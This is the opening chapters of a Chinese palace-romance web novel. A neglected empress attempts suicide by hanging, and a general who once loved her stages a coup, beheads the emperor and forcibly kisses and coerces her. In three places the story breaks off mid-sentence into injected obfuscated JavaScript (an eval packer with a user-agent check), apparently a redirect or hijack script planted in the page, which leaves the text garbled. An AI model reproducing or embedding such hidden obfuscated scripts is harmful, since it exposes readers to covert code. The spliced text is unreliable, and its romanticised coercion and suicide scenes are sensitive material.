《锁孤枝》 1. 求死 天空阴沉如墨色,西斜的太阳终于被大片凝在一起的乌云遮了个干净,世界昏昏如黑夜。 “陛下他……还不肯来吗?”空旷的大殿一尘不染,四周金塑的佛龛把跪在地上的瘦弱锦衣少女包围起来。少女声音颤了颤,似是怕惊扰了满殿神佛。 只有虞枝自己知道,她是在压抑快要溢出喉咙的哀痛。 ‘扑通’一声,刚从殿外跑进来的小丫头跪倒在冷硬的黑石地砖上,愤愤哭诉道:“贵妃娘娘说您见不得皇上在她那儿安歇,装疯卖傻地要骗皇上过去,皇上一下子就信了,把奴婢赶了出来!” “他……咳咳。”虞枝终于被痛苦压倒,轻咳几声,体力不支半摊坐在垫子上。一滴滚烫的热泪划过她眼角,同外面豆大的雨滴一起砸到地上。 “竟如此无情!”虞枝咬紧牙关,闭上眼。 五年的夫妻之情,她呕心沥血,处处逢迎,却换不来一丁点真心。临了她想用死来换他的怜惜,让他听一听她的肺腑之言……可笑的是她终究高估了她在他心中的地位。也罢,这婚约本就是她的一厢情愿。 外人看来是她一心攀龙附凤,就连皇帝恐怕也是这么认为的。但是虞枝自己知道不是,就因为那一纸婚约,哪怕他元临是个要饭的她也不会弃了他去!可真心轻贱,叫人翻来覆去地践踏几遭,早就看不出模样了。 她跪在佛像前泣不成声。 门窗没关严实,水汽涌进殿内,裹挟着冷冷的晚风。吹动起虞枝头上的凤钗,象征皇后威仪的金鸟衔珠吞玉,似是乘云卷雨,在幽暗摇曳的烛火下美丽极了。 虞枝一把将它从头上拔下来,拽起一阵清脆响声。 “娘娘!”小丫头轻呼。 虞枝浅浅一笑,将它扔在地上,看着闪着金光的凤钗被黑暗吞噬,虞枝猛然想起这金钗还是新婚那夜元临送她的。 * 虞枝从小是跟在哥哥身后长大的。 别家闺秀几岁的年纪还在学着绣花弹琴,虞枝已经开始跟着哥哥坐在学堂里听夫子讲经。 虞家是宰相世家,虞枝的哥哥又是长房嫡子,到了启蒙读书的年纪,家里就找了当年曾给三皇子元临启蒙的老先生来上课。 年幼的虞枝就小尾巴似的跟在哥哥身后。每当夫子路过学堂,总能看见兄妹两一高一低的肩膀靠在一起,共同听其他先生讲古今英雄烈女的忠贞之事,二人满眼羡慕向往,听到紧张之处便互相攥紧手心,似是替书中之人捏了一把汗。 夫子因此很喜欢虞枝,所以在先帝一时兴起要给元临定娃娃亲时,就顺嘴提了虞枝的名字。谁想先帝一个拍手,这事口头上就成了。 虞枝自小就知道自己未来的夫君是谁,认定了好女不侍二夫。所以哪怕是正春风得意的谢小将军亲自登门求娶时,她也一口回绝了。 犹记当时一向不喜鲜艳的冷淡少年竟然穿了身虞枝最喜欢的红色,还用着旁人从没听到过的语气哄着她,只为她一声‘愿意’。 但虞枝是个固执的,认定了的事九头牛都拉不回,再怎么哄诱也没用。 少年眼底泛起痛色,执着地问她为何不愿,她一时语塞,被逼到墙角。他却不依不饶,提高了音量道: “明明是你当年口口声声说……”他故意提起春猎,她醉酒无意中闯进他帐子的不堪一幕来。那时虞枝神志不清,只记得她在酒意的作用下轻解了外衫,晃晃悠悠地羊入虎口,跪坐在他腿侧,把玩他腰间的鸾鸟玉佩。她瞧着那物精巧,看得入神,却正好被谢玄抬起了下颌,气息交缠,一向冷心冷面的少年眼底竟藏了些温柔…… 他说,他一直知道她的名字。 那一刻,少年黑如耀石的瞳仁中倒映的只有她。 后来他常约她在茶楼相会,虞枝十次只去一次,可每次他都有新的花样来逗她开心。 那样英俊潇洒的少年,如此用心的对待,冰山也要融化。 但事发,虞枝被父亲叫到祠堂。父亲失望的眼神狠狠将虞枝钉在耻辱柱上,她知道自己行错了路。 虞枝收敛起所有复杂的情绪,推开他道: “我心意已决,多说无益。” 谢玄执拗地靠近,素来桀骜不驯的他甚至想就此声张了去,将她强娶入府。 虞枝看着他既克制又隐隐有些失态的样子来,被吓破了胆,哭求他放手。 没想到一向我行我素的少年竟真被她说动,放了手,只是他眼中复杂情绪难消。 谢玄走远了几步,忽然回过头来看着她。 可是她走的决绝,没看到少年欲言又止的口,和眼中的恳求。 那时谢玄军功卓越已渐有冲天之势,京中小女儿莫没有不对小谢将军动春心的。可惜谢玄心硬如铁,孤身跑去战场,经年不回。 后来三皇子登基,虞枝如愿嫁进了宫。 那时候元临已经有一个宠爱的贵妃和七个喜欢的妃嫔了,但是见了美丽动人的虞枝还是再次春心萌动,亲手将只有正宫才能佩戴的金凤钗戴在她发上,二人也曾有过一段举案齐眉的时光。 当时的虞枝以为这样的日子能一直到白头,所以那年中秋夜宴,她看着刚从战场回来还来不及卸下血衣铠甲的谢玄,端起国母的架子询问他在塞外过得可好。 她只记得少年喉结轻动,却是一句话都没有说。那时他的目光是冷的,再不是她熟悉的充满克制和爱惜的神色。虞枝只能安慰自己道许是沙场无情,当年冷面之下蕴含多情春意的少年也变得决绝冷酷了。 临了,他向她请安道: “娘娘万安。”声音低涩又嘲讽,不知是在嘲讽虞枝还是他自己。 他带着一身的血腥气走远,腰背挺得笔直,步伐平稳,腰间的鸾鸟玉佩穗子轻晃,他连头都没有回。 可第二年中秋,虞枝就被关在了长信殿,非昭不得出。寒气袭人的大殿,她的双腿僵硬到麻木,可是她竟然有一点庆幸,庆幸自己不用在宴会觥筹交错中看见谢玄。 不用让谢玄知道她这几年过得举步维艰。 贵妃苏氏极有手段,又曾是元临的贴身丫鬟,备受元临依恋,虞枝被她打压地抬不起头。好不容易鼓起勇气拿了正宫的名头罚了那恃宠而骄推人落水的贵妃,下一秒就被不辨是非的皇帝当着三宫六院的面狠狠甩了一个耳光。自那以后她便再没有得到过元临的一丝怜惜。 每月十五,皇帝留宿中宫的日子,元临就罚她跪在长信殿,向鬼神赎罪,赎她因妒生恨,不配为天下女子之表的罪! 每月的满月之夜,她就跪在冰冷的殿里,寒来暑往,将每一塑神佛的金身威颜都看遍,守着无边寂寞与痛苦,坐着她虚荣的皇后宝座。 * 一声巨响的天雷打断了虞枝的回忆,她看着清澈的雨水哗哗流下,冲刷着古老的皇城,心里默默涌现出一丝隐秘的痛快。 都冲走吧。 把一切不堪都冲走。 这宫里就没有一处是完全干净的,就连她……这些年她虽从未害过人,但是心里却也数次升起过见不得人的念头。这念头令她生惧生悲,因为一旦她付诸行动了,她从前所固守的那些清白正义就都将化为灰烬。还好,还好每当她脑海中涌现一丝邪恶的念头之时,当年夫子和哥哥的教诲就会把这念头死死地压回去。这宫里的其他人她管不了,但是她要守着这份如初的本心,好好做她自己。 “春桃,你下去吧。”虞枝似是倦了,声音低哑。 “娘娘……” “下去。”虞枝加重语气。 春桃只得退了出去。 一开门,夜风裹挟着湿漉漉的雨丝水汽扑面而来,吹起虞枝鬓角的青丝。她的墨发因刚才的举动而散开,一头华丽的翠石珠宝滑落殆尽,只剩下最本原的一抹清丽。 虞枝抬起脸,任由水汽与漫起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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撞得头破血流,肝肠寸断,就连引以为傲的那一点尊严都被细细碾碎。 “陛下,臣妾所求唯有一件事。”她整理了衣衫容颜,好叫自己看起来还像个皇后。 “什么事?”皇帝皱眉。他今夜是头一回没听贵妃的温存软语,踩着泥水远远而来。他也不知道为什么,总觉得这次似乎与从前不同了些,心里隐隐有些莫名的惊慌,好像这次不来见她,以后就没机会见了一般。 “求您在臣妾死后秘不发丧。” “这是什么要求?”元临不解,似是看怪物一样看着虞枝。他以为她会以死相逼,叫他废了贵妃,再不济也是饶恕了她流放北境的家人。 “臣妾父亲年事已高,兄长一心为国积劳成疾,再经不起一点打击了。”虞枝想这是她能为他们做的最后一点事了。 “你还当真要死?”元临瞥见案台上的一抹白色,心底冷笑,“那我就答应你。”他不相信地摆摆手。 “多谢陛下!”虞枝手捧着凤钗行礼,意欲将其还给元临。 元临霎时被触怒,他可以一百遍一千遍厌弃虞枝,但虞枝却不可以伤害他一次! 他将凤钗摔碎,转身走入雨中。 沾染了雨水的沉重大门再度被合起,外面仿佛有些骚乱的声音,但是虞枝不在意了。 她看见四散的珠光宝气流落到不曾被人窥见的边边角角,如同她奉献出的真心,碎了一地。 白绫长而顺滑,柔柔垂了下来,摇晃在殿中央。 屋顶的房梁都是天下最厉害的能工巧匠锻造而成的,坚牢无比,足够承载她生命的重量。 虞枝站在凳子上打好了最后一个死结。她想她这一生的错都是由她的固执开始的,如果她能放过自己就好了,但是放下……她从没见到过谁能轻易将心底执念轻轻放下,这才是最可悲之处。 悲悯的佛像半睁着双眼,无言地注视着这一切。案上的香炉升起袅袅香烟,飘散在屋子里头。 虞枝盯着那抹徐徐散开的烟,她已下定了决心,正要踹开凳子赴死,却听见外面一声惨烈的叫声。 下一秒,有人从远处跑过来,大叫道: “谢小将军……反啦!” 2. 造反 一声布帛撕裂的清响划过大殿,虞枝猝不及防地重重摔了下来。头眼昏花之际听得一句—— “谢小将军起兵反了!” 虞枝怀疑是她摔得太狠,出现幻觉了。明天是宫宴的日子,谢玄是有可能为了方便住在宫里,但是反了是什么意思? 虞枝一边艰难地从地上微微直起身子,一边用手揉了揉剧痛的额头。果然一抹温热黏腻顺着她鬓角流淌,她撞到了桌角,磕得头破血流。她算准了房梁的坚实程度,却没料到这白绫竟然如此易碎,想来是内务府见她无宠,挑了陈年的老物件来打发她。 虞枝不知该哭还是该笑了,谁能想到内务府的狗眼看人低竟然救了她一命呢? 可不等她有所反应,更加混乱的喊声脚步声就再次打断了她的思绪。 她不懂今天这是怎么了,但是心跳却越来越快。 瓢泼大雨也掩盖不住那浓重的血腥味。一开始虞枝以为是她自己的血,直到外面积水反进光滑到能照镜子的殿里,她借着明明灭灭的烛光,看到了清澈雨水中的一丝丝血色。 外面在—— ‘砰’一声,大门被狠狠踢开。 虞枝慌忙地站起身,死死扶住桌案,好稳住自己踉跄的身体。 那人仿佛自地狱提剑而来,带着一身的血腥味,令人作呕。 虞枝下意识地往后退了退,直到借着闪电的亮色看清了他的容颜。 她不可置信地瞪大眼睛,惊道:“谢玄?!”她声音颤抖,因为看见自他背后流淌的‘水滴’。 一连串的、鲜红的,从他背在身后的手间滴落下来。 来人轻笑,语气却不那么美妙,他道:“娘娘万安。” 娘娘万安。 一如当年,只是如今是带着咬牙切齿的味道,叫人毛骨悚然。 “你要……”虞枝看着外面来来往往的士兵控制住整个皇宫,说出了她一直不敢相信的猜测,“篡位?” “娘娘聪慧一如往昔。”谢玄和缓了语气,眼眸一转,看向地上碎裂了的白绸。 “这是?”他抬起长剑指了指,目光玩味,“白绫?”他自问自答,仿佛不在意虞枝的错愕与愤怒。往下坠着殷红血水的衣摆随他逼近的动作晃动,好似一路盛开摇曳的花朵,如同他极为俊美却处处透露出危险的容颜一般。 虞枝已经不知道该怎么接受这个突然的消息了。别说是她心目中奉为圭臬的纲常伦理,就是做臣子的最基本底线,谢玄都没有遵守过。 谢玄像是没看到虞枝的抗拒似的走近几分。 略凌乱了的墨发被雨打湿,发梢滴着透明的小水滴,直直地贴在他劲瘦的脊背腰间。一别经年,谢玄成熟了许多,眉眼间不再只有少年的那股子桀骜凛然,还多了几分深沉的隐忍和刚毅,同他本妖冶的五官并不相称。 他母亲是谢将军的外室,一个青楼出身的女子,凭着一副顶好的容颜才博得了谢将军的喜爱,生下了谢玄。谢玄继承了他母亲的精致与谢将军与生俱来的武将威严,融合成了今天姿容绝代的模样。 可是他的话却尖锐刻薄极了,“白绫价贵,娘娘也配吗?” 虞枝一瞬间抬起头,泪水溢满了眼眶。红彤彤的眼睛与她失血而过分白皙的脸颊形成鲜明的反差,好似一只摇曳在风雨中无处安栖的蝴蝶。 她想过谢玄会嘲讽她,甚至像元临一样惩罚她日日跪在冰冷的殿里,可唯独没有想过谢玄会将她贬低至此。 虞枝张张嘴,一边努力地把眼泪憋回去,一边正要呛他。 却不想,谢玄绽开笑颜,从身后拿出一物,“不如赐给他好了。” 就是满殿的神佛也不敢轻易饶恕谢玄的罪孽。只听虞枝惊叫一声,凄厉颤抖,听得谢玄既畅快又心痛。 他手上的,是她夫君的头颅。 新鲜的、热乎的,还睁着眼睛的,皇帝的头颅。此刻他的尸身应该已经被雨浇透了,倒在夜里。 元临他自己作践别人的真心,让虞枝孤身一人跪在可怖的长信殿,却不想自己的结局会是身首异处地倒在寂冷的雨夜。倒叫他也好好尝了一回虞枝的痛与哀。 虞枝颤抖着举起手,指了指谢玄,也是在指着元临的头。克制着的眼泪再也控制不住,直直地溢出来,跟外面的雨珠似的,掉了一连串。 美人落泪,可谓我见犹怜。 可是谢玄之心冷硬如铁。 这泪分明不是为他而流。 额头上的疼痛再次袭来,精神崩溃的虞枝终于支撑不住,半昏着伏在了桌案上。她能感觉到有人在靠近她,她想要逃离,却被人死死按在原地。 肩上的力度压得她喘不过气,她痛苦地呜咽一声,像是幼兽的哀求。 谢玄听了手一转,将长剑反握在手里,手掌在还算干净的腰间擦了擦,想去抚摸虞枝鲜血直流的额头。 他在战场的时候也常流血,很痛,结痂之后很痒,还会留疤,谢玄不在乎,但是他想虞枝会在乎。 “小虞——” 他压抑着骨子里叫嚣的暴虐,放缓声音轻唤,却被还残存着意识的虞枝打断。 “别碰我!”她用尽所有力气,挥开谢玄修长而冰冷的手指。那指间兴许还残留着元临的血,令她反胃。 谢玄愣了一瞬,然后慢慢站起身。他脸上的表情也在那一瞬间凝固住了,如果方才虞枝睁开眼仔细去瞧,依稀还能辨认出昔年的几分怜惜,可是这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“来人,送皇后娘娘回宫,找了太医好好医治着。”谢玄站在台阶上,俯瞰着被雨血冲刷后的静谧皇城。从今天开始,这座皇城的主人将会是他,这天下的主人也是他,所有的一切都会属于他。 “是!”谢玄的亲信石留青嘴上应和着,心里却已经转了十八道弯开始揣度起这位主子的态度了。 按理说新朝建立,遗留的旧朝一切都应该被清算,更何况这旧朝的象征之一皇后娘娘。所以谢玄这让人好生照看虞枝的命令让在场的很多人都摸不着头脑,甚至有人思量这‘好好医治’是否还暗含了其他意思。 但是石留青清楚得很,他家主子和那位的往事看来仍旧是谢玄心中的一根刺。 拔不下,忘不掉。 3. 往事 谢玄自记事起就知道他是个多余的存在。一个低贱的外室子,即使和母亲有幸被接回将军府过活也依旧改变不了不受待见的事实。 所以当嫡母所生的谢宸借着比试的由头把他狠狠压在身下,用粗重的拳头一拳一拳往他脸上砸的时候他一声都没吭,因为他知道没人能救他。他那青楼出身的母亲哭出了血泪也没求得别人的一丝怜悯,只能眼睁睁看着他被打得口吐鲜血站不起身。 谢宸是嫡长子,在嫡母的放纵下养成了不可一世的性格,体格壮实如牛,又长谢玄七岁,因此小小的谢玄根本不是他的对手。 他打累了便停下手,拍拍谢玄满是血的脸颊,仔细端详了几分,厌恶道:“瞧你那姑娘似的脸蛋,以后就算离开了我们将军府,也能找到靠山过日子吧!”他啐了一口,才觉了无趣起了身。 待看热闹的人散了,谢玄的母亲纪姨娘才敢爬上前去抱住谢玄,那是年幼的谢玄唯一的依靠。 他只记得胸口痛极了,每呼吸一次都伴随着剧烈的撕裂感,他甚至以为自己要死了。但是他命硬,最后还是活了下来。 只是他母亲命不够硬,在一个月后被赶出将军府了。嫡母对外说纪姨娘是自己走丢了,但是谢玄知道他母亲是被色/欲熏心的谢宸盯上,母亲不从,事发后被嫡母偷偷发卖了平事。 年幼的谢玄只能无力地看着母亲被一群壮实的嬷嬷强硬地拉走,绑上一辆马车跑远了去。 “为什么?”他那时还不知人心凉薄,竟还存了一丝幻想冲到父亲面前质问。 彼时刚下了朝的谢将军眉头紧锁,仅仅是看了他一眼就收回了视线,“她是你的嫡母,世道自有纲常尊卑,她想处置后院的谁都是她的权力,你身为晚辈不能有辩驳怨恨。”他匆匆说了几句就抬步离开。 纲常尊卑,这四个字把谢玄死死钉在原地。 因为这四个字他的母亲便要像个畜生一样被发卖,因为这四个字他就要像个小畜生一样被殴打谩骂而不能反抗。 谢玄几乎要被这四个字撕碎,他发了疯一样跑出去,就是在那时他碰到了虞枝。 “疼吗?”女孩被打扮得耀眼无比,身上叮叮当当的玉佩坠子刺得谢玄眼睛疼,她小心翼翼地靠近他,似是生了几分可怜。 谢玄摇摇头。 女孩像是没察觉出他的冷漠一般自顾自地坐了过来,轻轻抬起了他青紫一片的手臂,“撒谎。”她低下头。 轻柔而温暖的气流抚过谢玄伤痕累累的手臂,他怔愣在原地。 “给你。”女孩把手里攥得紧紧地泥人递到他面前。那是一个正在吃糖葫芦的小人,笑容灿烂,和面前不谙世事的小姑娘一样天真俏皮。 谢玄盯得入神,待再次看去,她已经走了好远,用力地在一片人流涌动的街上向他挥手。 后来他才打听出她的名字——虞枝。 只是不待他再进一步,他就跟着谢将军上了战场。他在血腥的沙场摸爬滚打,在无情的刀剑中成长。慢慢地,他变得冷漠多疑,嗜杀狠厉。一眼看去,十几岁的少年人,竟让人看不穿心事。 从卑贱的外室子,到荣宠万分的谢小将军,这条路谢玄只走了六年。 许是失去了太多,他一直觉得自己越来越不像是个人了。刚上战场时认识的许多兄弟、长辈都成了黄土一抷,随大漠的风沙斜阳埋在了无边塞外。回京后终于几番打探到母亲的下落,可是母亲几经辗转也有了自己的家庭,嫁了个不错的人,有了其他的孩子。 他便是孤身一个,人世无处安放了。 所以那年春猎,他几欲自毁。如果那天没有再次遇见虞枝,谢玄觉得他应该会彻底成为一个疯子,嗜血无情的疯子,迟早会失去理智死在战场。 “你是谁……你怎么在我帐子里?”少女走路摇摇晃晃,发上的金钗七晃八晃,在烛火下熠熠生光。屋子里生了十足的炭火,热气腾腾的,蒸得少女心烦意乱。喝醉的人哪里有理性去思考,便只顾着自己的感觉,下意识地脱了几件外衫散热。 谢玄喉结轻动,别过了视线。 “虞姑娘,这里是……”谢玄一眼就认出了虞枝。虽多年征战塞外,但是谢玄每年过年还是会跟着谢将军回京过节述职,偷得半刻闲暇时,一年又一年地描摹了她的成长蜕变。 当年含苞待放的芙蓉花长成了亭亭玉立的倾城颜色。 谢玄当年自己也说不清对虞枝的感情是什么,说是爱倒也没那么深刻,只是心底里记住了她,在某些意动无聊时刻脑海里似乎会浮现她的模样来。只是他活的太累太苦,战场一不留神就要人头落地,漠北游牧民族战力彪悍,打起游击战来灵活多变,因此即使是休息时也不能放松下心神,所以对于虞枝的感情——也许算是少年人的春心萌动,也只是片刻,只占据小小的一部分。 是虞枝率先闯了进来,打破了清醒与沉醉的平衡,蛮不讲理地扰乱了他的心神。 “什么?你说什么?”虞枝醉了酒,耳朵也跟着不灵光了。踉踉跄跄地凑近上去,想听清谢玄在说什么。 瞧着虞枝不稳的步子,谢玄有些担心,正要起身去扶她,却不想刚一起身就被忽然扑过来的虞枝压倒在椅子上。 “虞姑娘?” 虞枝没注意到谢玄加重的语气和微眯起的双眼代表什么,她的注意力已经被谢玄腰间精巧的鸾鸟玉佩吸引了去。 “好美的玉佩。”虞枝想站起来,但是奈何身子不听话,就干脆一屁股坐在了地上,便于她去欣赏谢玄腰间的玉佩。 谢玄本想扶她出去,但是此刻却隐隐生了些其他的、不太光彩的心思。他早已不像当年那么光明磊落了。 “虞姑娘知道我是谁吗?”他轻问,漆黑如曜石的眸中还是克制占了上风。 “知道啊!”虞枝答地轻快,“你是谢玄!宫宴上数你最好看了!”她笑嘻嘻地依恋在他腰间的样子像只乖巧的猫儿,一点也不像宫宴上克己复礼得跟块木头似的娃娃。 谢玄轻笑了声,彼时他们都没意识到从此往后的数年都会因这小小的插曲发生偏离。 * “娘娘,您可醒了!” 一道妖娆十分的声音把本就头痛欲裂的虞枝拉回到更加难以接受的现实。 “你是谁?”虞枝看着地上跪了几个人,率先认出了春桃,再往前一看就找到了方才的声音来源——一个年轻的太监模样的男子,笑得十分谄媚。 “奴才是陛下派来专门伺候皇后娘娘您的,贱名胡泉。” “陛下?”虞枝心底发冷,“你说的陛下是谁?”即使她已经猜个大概,但是还存了一丝幻想。 也许她冤枉了谢玄,也许谢玄还没有称帝的胆子,也许谢玄是扶持了贵妃苏氏的儿子登基了。 胡泉再一笑,甜滋滋的语调却比刀子伤人,“还能是谁,当然是我们谢小将军了。” 虞枝一瞬抓紧了被子,目光黯淡下去。元家的天下易主了,她这个旧朝的余孽又该何去何从?为何当时没死成呢? 虞枝懊悔不已,如果那时候死了,还能落得个清明的名声。现在反贼登基,她一个前朝的皇后还有什么脸苟活。 “娘娘……”跪着的春桃瞧见虞枝眼里的决绝,不禁心颤了颤,她知道虞枝心里在想什么,便忙道:“您可不能再寻死了。”她忍住泪水。 伏在地上的太医们听了这话也不住地点头赞同。 “怎么?”虞枝冷笑,“我死还不成了?” “你死了——”不等春桃回话,外头忽然传来一阵声音,紧接着一人绕过屏风走过来,“他们可都要陪葬的。” 一身沉稳威仪的玄黑色龙袍的谢玄矜贵无比,全然没了昨夜的残忍无情。他此刻兵权在握,又料理了前朝群臣,心情大好,便耐心地解释道: “不仅他们,”谢玄眼神在地上跪着的众人身上扫了扫,接着毫不留情道:“还有元临的那些儿女,论起来,”谢玄眸色一深,似是不大痛快,“他们还要叫娘娘你一声母后。” “你!”虞枝咬紧牙关,“好生卑鄙!” 谢玄闻言慢悠悠朝着床榻靠近,已经是男人的谢玄身量比少年时期高出许多,看起来很有压迫感,逼得虞枝后缩了下。 “娘娘在怕我?”谢玄神情淡淡的,但眼底分明已经酝酿起了风暴。 人精胡泉见此情景忙带着众人退出殿去,只留下虞枝和谢玄两人。 虞枝勉强收回了心神,一字一句道:“我不过是个前朝的皇后,你又何须抓住我不放!” “前朝的皇后?”谢玄皱眉轻笑了声。 不知怎的虞枝忽然有些不详的预感,她看着已经近无可近的谢玄,冷声道:“停下!” “娘娘这是在命令我了。”谢玄竟当真顿住了动作,终于叫虞枝松了口气。 但是谢玄的长腿已经贴上了床榻,只要他一俯身,虞枝就会陷入退无可退的境地。 “我可不敢命令‘陛下’!”她把那两个字咬得紧紧的,讽刺的意味不加掩饰。 “娘娘有什么不敢的。”他说得极轻,轻到距离如此之近的虞枝都没能听清楚,但是他语气里的几分低落自嘲虞枝确是听清了的。 “什么?” “没什么。”谢玄忽然俯下身,温热的呼吸一下子交织在一起。 他想说没什么是虞枝不敢的,当年敢醉酒闯进他心里,又敢在清醒后和他划清界限,任他像条狗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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血腥味充斥在二人的唇间,浓郁的味道让谢玄一瞬间回到了现实。他喘着粗气后退几步,唇上已然被咬破了一块,正在汩汩流淌着血液,一路流到他的下颌。 出人意料的,他并没有生气,反而神色有几分不明的味道。 他本没想这么快……他想对虞枝循循善诱,想要用柔和的方式让他们的关系回到从前,但是他方才像是着了魔一样,只想要贴近她。不仅是欲/念在作祟,哪怕不做到最后一步,哪怕一直停留在拥抱,只要让他能够感知到她在他身边就好。 可是……谢玄眸色暗了暗,在她面前,他永远是失控的那一个。 此刻虞枝自觉受了侮辱,用力地擦拭着嘴角的血迹,似是不想和谢玄沾上一点关系。 “你这是在干什么?”想明白虞枝动作含义的谢玄被气得笑了起来,大步走上前去,死死捏住了虞枝的下颌。 那残留的血迹干涸在虞枝唇角脸颊,血做成的胭脂动人惊心。 “那狗皇帝亲你的时候,你也是如此厌恶吗?”谢玄眸色泛红,已是生气了的预兆。对于虞枝曾经嫁给元临,与元临夫妻几年,乃是谢玄一触就痛的伤口,偏偏他自己还忍不住去揭开伤疤,自虐般想要窥探他们的曾经。“你也是这么擦来擦去的?”他抬起手,强迫虞枝看着他。 虞枝冷笑一声,艰难道:“他是我的夫君,他同我亲近,我为何要厌……” “闭嘴!”谢玄几乎是立刻捂住了虞枝的嘴,他怕她会继续说下去,他怕他会在暴怒之下做出不可挽回的事情。 “吃下去!”谢玄终于无法维持冷静,用力把虞枝唇角的红沾到自己手指上,然后插/到虞枝口中,“把朕的血,吞下去!”他命令道。 虞枝不肯,却惹得谢玄干脆再次贴了上去。他知道他这是在推远虞枝,但是他做不到对虞枝和元临无动于衷,他只能用这种方式重新给虞枝打上烙印。 血腥味从口中吞咽进腹中,虞枝干呕起来,扶着床榻的样子狼狈极了。 谢玄不再看她,扭过头去平复自己的情绪。 “娘娘,”他一字一句,“劝你在我还有些耐性和怜惜的时候回心转意,不然吃苦的还是你自己。”他已经不是当年那个可以步步退让的谢玄。 “娘娘?”虞枝忍住眼泪,“我不过一前朝皇后,哪里配让你如此称我!”虞枝恶心极了。 “呵,”谢玄忽地灿烂一笑,“谁说您是前朝的皇后娘娘了?” 虞枝心头涌上强烈的不详预感,目瞪口呆地抬起了头,入目就是谢玄得意的神色。 “您分明是本朝的皇后娘娘。” 4. 乱局 谢玄从虞枝宫里出来后脸色就不太美妙,贴身服侍他的大太监胡伽只得更小心翼翼地伺候着。 被指派到虞枝的凤宁宫伺候的胡泉是他亲侄子,他从胡泉捎来的口信里也能窥探到新帝对那旧朝皇后的一二心思,因此更不敢多言。 “陛下,石留青石将军此刻正在听政殿候着呢,您新任命的六部尚书也都在殿外等候您的差遣。”胡伽恭敬道。 这位新帝昨夜发起宫变,将不肯归降的宫廷旧人杀的杀、压的压,今早又直接派兵提了朝中重要的大臣来一一发问,凡是心念旧朝不肯降服的全部被罢了官收押在天牢。一开始还有大臣觉得只要他们不上朝,谢玄这个只有兵权在手的光杆皇帝就没办法使朝政运转,但他们万万没想到谢玄根本不吃他们威逼的这一套,转瞬就挑了合适的人来立刻赴任,直接代替了他们的角色。 依照谢玄的话来讲,他手下蒙尘的明珠多得是,正愁没位置安放呢。 这下那些大臣算是骑虎难下。若是就此服软,于脸面上过不去。但若是不服软,先不说能不能保住一条命,就算保住命从天牢出来也是白身一个,好好的京官身份就这么丢了去! 倒不是他们不够忠君爱国,而是这前朝皇帝元临乃是个昏庸的货色。这些年朝中数不尽的中流砥柱顾命大臣先后被元临贬斥,就连宰相世家的虞家也不能幸免。国家在他的治理下更是混乱不堪,外有蛮族虎视眈眈意欲南下,内有连年的天灾人祸,百姓苦不堪言,朝臣们更是有苦难言。因此有不少想开了的,已经开始蠢蠢欲动,想要就此归顺谢玄了。 “朕知道了。”谢玄沉声道。说话间撕扯到唇上的伤口,隐隐发痛。不用看也知道必定惹人眼目,不过谢玄也没想遮掩,从容地迈进了听政殿。 元临留下的烂摊子不少。他要想坐稳这个皇位,就要先把这些个积弊都处理了,断不能放任毒疮继续溃疡腐烂。 谢玄甫一坐稳,石留青就率先直言道:“陛下,北边的东胡按照前朝旧例,遣派使者来我朝索要粮食布匹等物,现下使者已经让臣给扣下了。”石留青是谢玄旧部,又心系朝堂,心知若是外险不平,则无法安内,于是第一个把这件事报给谢玄听。 谢玄闻言点点头,视线从一众把头低地跟群鹌鹑似的大臣身上移开,巡视一圈后发现也只有石留青这个楞没忍住盯着他唇上的伤口看。 “爱卿盯着朕看什么呢?”谢玄眯起眼睛,手指在坚硬的桌上轻扣,明显有些不悦。 石留青一愣,果然慌了神,“臣……臣是想事情太入神才……”谁知他心中的惊涛骇浪,这谢玄好好地去了趟凤宁宫怎么就伤了嘴唇这么微妙的地方?看来二人……还挺激烈的。 石留青暗自腹诽,面上却不敢敷衍,忙脑筋转了个弯道:“臣觉得从前元临同东胡人签的那些丧权辱国的条约我朝该一并不认,否则任他们予取予求,我朝威严何在?” 他把话题重新拉了回来。 元临称帝时耽于享乐,曾把十万大军交给苏贵妃的长兄苏文苑,命他同东胡来犯的五万大军对战。结果苏文苑只会纸上谈兵,十万大军全军覆没。东胡尝到了甜头,一举南下到燕云十六州,在州内大肆烧杀抢掠。元临大惊,为了让东胡退兵,没骨气地同东胡签订了屈辱的条约,割燕云十六州,并每年向东胡支付银钱、粮食和布匹。 东胡人乐于坐在家里收钱收粮,便退了兵。 “这条约自然不能认。”听石留青之言后,谢玄眼神一瞬间变得凌厉起来。作为武将,燕云十六州乃是他此生之恨。 当年他连上十道奏疏请命带兵夺回燕云十六州,却无济于事。元临只想做他的太平皇帝,死道友不死贫道,百姓生死与他何干。 可笑虞枝竟对他赤诚一片,宁死不肯背叛元临。 谢玄在心里冷笑,但是胸口却始终堵着一口气,闷在心中,又疼又苦。 “可是……”一旁的户部尚书犹豫着,最终还是直言道:“近来天灾不断,收上来的赋税仅有从前的七成。且前朝皇帝为追求长生,命人大肆修建临仙观、摘星阁等宫殿,国库……实在拿不出钱了。” 一旦撕毁和东胡的条约就必然引起战争,战争是要拿钱打的,现在哪来的那么多钱呢? “国库的银两可够本年赈灾、防灾之用?”谢玄知道大臣所担心的事情。他作为武将,更明白如果补给粮草供应不上,仗会有多难打。 “这倒是够的。” “那就没什么可担心的了。”谢玄嘴角浮上一抹意味不明的笑,看得石留青心肝一颤。 户部尚书摸不着头脑,下意识地抬起头,触及到谢玄唇角暧昧的伤口时又老脸一红,兀自低下头去了。 谢玄也不卖关子,直接道:“我朝疆域辽阔,人口众多,就算是七成税收也是天数,何至于连军费都拿不出?”他表情淡淡的,但是语气却越来越冷,“不过是被层层贪墨了。既然肥的是他们,那拿钱的也该是他们。” “陛下是要……” “抄家?”吏部尚书接上了石留青没说完的话。这活他熟啊,原先他的父亲就是负责收没被抄家之人钱财的官员,这种事他从小见得多了。 